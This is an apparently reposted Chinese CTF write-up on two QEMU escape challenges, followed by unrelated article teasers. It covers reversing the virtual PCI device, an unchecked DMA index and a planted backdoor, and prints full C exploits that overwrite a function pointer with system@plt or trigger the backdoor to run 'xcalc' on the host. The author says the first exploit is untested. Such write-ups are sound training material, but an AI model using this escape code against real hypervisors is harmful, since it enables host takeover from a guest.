【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu

news2024/11/27 20:23:49

前言

由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了,先看下实例结构体:

其中 dma_state 结构体如下:

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。

这里为了方便,我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中: 

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即:

exp 如下:由于环境,exp 没有经过验证

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>

void *mmio_base;
void mmio_init()
{
        int fd = open("resource0_path", O_RDWR);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}

void mmio_write(uint32_t addr, uint32_t val)
{
        *(uint32_t*)(mmio_base + addr) = val;
}

uint64_t gva_to_gpa(void *addr)
{
        uint64_t page;
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);
        lseek(fd, (((uint64_t)addr >> 12) << 3), 0);
        read(fd, &page, 8);
        if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);
        return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}


void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{
        uint64_t gpa = gva_to_gpa(dst);
        mmio_write(0x88, gpa);
        mmio_write(0x80, src+0x40000);
        mmio_write(0x90, len);
        mmio_write(0x98, 1|2);
        sleep(1);
}

uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{
        uint64_t gpa = gva_to_gpa(src);
        mmio_write(0x88, dst+0x40000);
        mmio_write(0x80, gpa);
        mmio_write(0x90, len);
        mmio_write(0x98, 1);
        sleep(1);
}

void triger(uint32_t src, uint32_t len)
{
        mmio_write(0x88, 0);
        mmio_write(0x80, src+0x40000);
        mmio_write(0x90, len);
        mmio_write(0x98, 1|2|4);
        sleep(1);
}


int main(int argc, char** argv, char** envp)
{
        mmio_init();
        uint64_t enc_addr = 0;
        arb_read(&enc_addr, 0x1000, 8);
        printf("[+] enc_addr => %#p\n", enc_addr);

        uint64_t offset = 0; // enc - system offset
        uint64_t system_addr = enc_addr + offset;
        printf("[+] system_addr => %#p\n", system_addr);

        char * cmd = "xcalc";
        arb_write(0x100, cmd, strlen(cmd));
        arb_write(0x1000, &system_addr, 8);
        triger(0x100, 0);

        return 0;
}

2019数字经济-qemu

用户名:root(无密码)

该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。

这题没有符号,但是挺简单的,白给的后门。

mmio_read 里面存在后门:

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:


 

exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>

void * mmio_base;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{

        uint64_t addr = 0;
        if (opt == 6)
                addr = (opt << 20) | idx;
        else
                addr = (opt << 20) | (idx << 16);

        printf("%#llx\n", addr);
        *(uint64_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        // "wwssadadBABA"
        mmio_init();
        mmio_write(0, 0, 0);
        mmio_write(0, 1, 0);
        mmio_write(1, 2, 0);
        mmio_write(1, 3, 0);
        mmio_write(2, 4, 0);
        mmio_write(3, 5, 0);
        mmio_write(2, 6, 0);
        mmio_write(3, 7, 0);
        mmio_write(5, 8, 0);
        mmio_write(4, 9, 0);
        mmio_write(5, 10, 0);
        mmio_write(4, 11, 0);

        char cmd[0x8] = "xcalc;";

        mmio_write(6, 0, *(uint64_t*)&cmd[0]);

        return *(int*)mmio_base;
}
xi

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1172797.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法|二分查找No.3】leetcode 35. 搜索插入位置

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

网络运维Day01

文章目录 环境准备OSI七层参考模型什么是协议&#xff1f;协议数据单元(PDU)设备与层的对应关系什么是IP地址&#xff1f;IP地址分类IP的网络位和主机位IP地址默认网络位与主机位子网掩码默认子网掩码查看IP地址安装CISCO汉化CISCO(可选操作) CISCO之PC机器验证通信 CISCSO之交…

台球厅桌球室计时计算软件计费方法,台球厅的电脑怎么计时

台球厅桌球室计时计算软件计费方法&#xff0c;台球厅的电脑怎么计时 今天给大家分享的是 佳易王桌球计时计费软件V18.0版本&#xff0c;只需点开始计时即可&#xff0c;结账的时候&#xff0c;软件自动计算金额。 灯控为可选&#xff0c;点开始计时&#xff0c;相应的桌灯亮…

【算法|二分查找No.4】leetcode 852. 山脉数组的峰顶索引

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

一文带你掌握多继承,菱形继承以及虚拟继承

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;强烈推荐优质专栏: &#x1f354;&#x1f35f;&#x1f32f;C的世界(持续更新中) &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;…

第二十三章 LaneAF框架结构以及接入MMDetection3D模型(车道线感知)

一 前言 近期参与到了手写AI的车道线检测的学习中去&#xff0c;以此系列笔记记录学习与思考的全过程。车道线检测系列会持续更新&#xff0c;力求完整精炼&#xff0c;引人启示。所需前期知识&#xff0c;可以结合手写AI进行系统的学习。 二 LaneAF接入openlane数据集 2.1 Lan…

Box2d 物理画线,Cocos Creator 3.8

一个简易的画线刚体Demo 效果 抱歉&#xff0c;放错图了&#xff0c;以上是 孙二喵 iwae https://forum.cocos.org/t/topic/142673[1] 的效果图。本Demo是根据文章的思路&#xff0c;合成的代码。首先&#xff0c;感谢孙二喵的技术分享。 以下是最终效果图 使用 版本 Cocos Cre…

Cube MX 开发高精度电流源跳坑过程/SPI连接ADS1255/1256系列问题总结/STM32 硬件SPI开发过程

文章目录 概要整体架构流程技术名词解释技术细节小结 概要 1.使用STM32F系列开发一款高精度恒流电源&#xff0c;用到了24位高精度采样芯片ADS1255/ADS1256系列。 2.使用时发现很多的坑&#xff0c;详细介绍了每个坑的具体情况和实际的解决办法。 坑1&#xff1a;波特率设置…

【C++初阶】第一站:C++入门基础(上) -- 良心详解

前言: 从这篇文章开始,将进入C阶段的学习&#xff0c;此篇文章是c的第一站的上半篇&#xff0c;讲述C初阶的知识 目录 什么是C C的发展史 C关键字(C98) 命名空间 命名空间定义 命名空间使用 1.加命名空间名称及作用域限定符 2.使用using将命名空间中某个成员引入 3.使…

PTA:前序序列创建二叉树

前序序列创建二叉树 题目输入格式输出格式输入样例&#xff08;及其对应的二叉树&#xff09;输出样例 代码 题目 编一个程序&#xff0c;读入用户输入的一串先序遍历字符串&#xff0c;根据此字符串建立一个二叉树&#xff08;以二叉链表存储&#xff09;。 例如如下的先序遍…

火狐浏览器导入burpsuite CA 证书无法正常上网

当我们给火狐浏览器设置burpsuite代理&#xff0c;并给火狐导入了burpsuite的CA证书后&#xff0c;仍然无法上网的解决方法。 当我们把浏览器的代理配置好之后&#xff0c;浏览器导入证书&#xff0c;burpsuite设置好代理后&#xff0c;如上图&#xff0c;仍然无法上网&…

精品Python手机数据收集软件-爬虫可视化大屏

《[含文档PPT源码等]精品基于Python的数据收集软件-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&#xff…

【教3妹学编程-算法题】重复的DNA序列

3妹&#xff1a;“太阳当空照&#xff0c;花儿对我笑&#xff0c;小鸟说早早早&#xff0c;你为什么背上炸药包” 2哥 :3妹&#xff0c;什么事呀这么开心呀。 3妹&#xff1a;2哥你看今天的天气多好啊&#xff0c;阳光明媚、万里无云、秋高气爽&#xff0c;适合秋游。 2哥&…

STM32WB55开发(6)----FUS更新

STM32WB55开发.6--FUS更新 概述视频教学硬件准备存储器映射FLASH安全区设置SRAM安全区设置通过USB进行下载注意事项 概述 在 STM32WB 微控制器中&#xff0c;FUS&#xff08;Firmware Upgrade Services&#xff09;是用于固件升级的一种服务。这项服务可以让你更新设备上的无…

回归预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积神经网络-支持向量机的多输入单输出回归预测

回归预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积神经网络-支持向量机的多输入单输出回归预测 目录 回归预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积神经网络-支持向量机的多输入单输出回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.SSA-CNN-SVM麻雀算法…

Jupyter Notebook交互式开源笔记本工具

1、官网 http://jupyter.org/ 2、什么是Jupyter Notebook Jupyter Notebook一个交互式的开源笔记本工具&#xff0c;可以用于编写、运行、和共享代码、文本、图形等内容。 如下文本、代码、图形 支持多种编程语言&#xff0c;包括python、R和Julia等&#xff0c;可以走一个…

计算机服务器中了locked勒索病毒怎么办,勒索病毒解密,数据恢复

随着网络技术的不断成熟&#xff0c;网络中存在的病毒威胁也不断增多&#xff0c;近期&#xff0c;云天数据恢复中心陆续接到很多企业的求助&#xff0c;企业的计算机服务器数据库遭到了勒索病毒攻击&#xff0c;并且勒索病毒的攻击与加密形式也发生了许多变化。其中攻击次数较…

优化|求解非凸和无梯度lipschitz连续性的一阶算法在二次规划反问题中的应用(代码分享)

原文信息&#xff08;包括题目、发表期刊、原文链接等&#xff09;&#xff1a;First Order Methods Beyond Convexity and Lipschitz Gradient Continuity with Applications to Quadratic Inverse Problems 原文作者&#xff1a;Jrme Bolte, Shoham Sabach, Marc Teboulle, a…

Vue H5页面长按保存为图片

安装依赖&#xff1a;npm install html2canvas -d <template><div class"index"><div id"captureId" class"capture" v-show"firstFlag"><ul><li>1</li><li>2</li><li>3<…

数学概率 | 旋转矩阵、欧拉角、四元数

目录 一&#xff0c;旋转矩阵 二维旋转矩阵 三维旋转矩阵 二&#xff0c;欧拉角 三&#xff0c;四元数 四&#xff0c;矩阵、欧拉角、四元数相互转换 四元数转矩阵 矩阵转四元数 欧拉角转矩阵 矩阵转欧拉角 欧拉角转四元数 四元数转欧拉角 一&#xff0c;旋转矩阵 …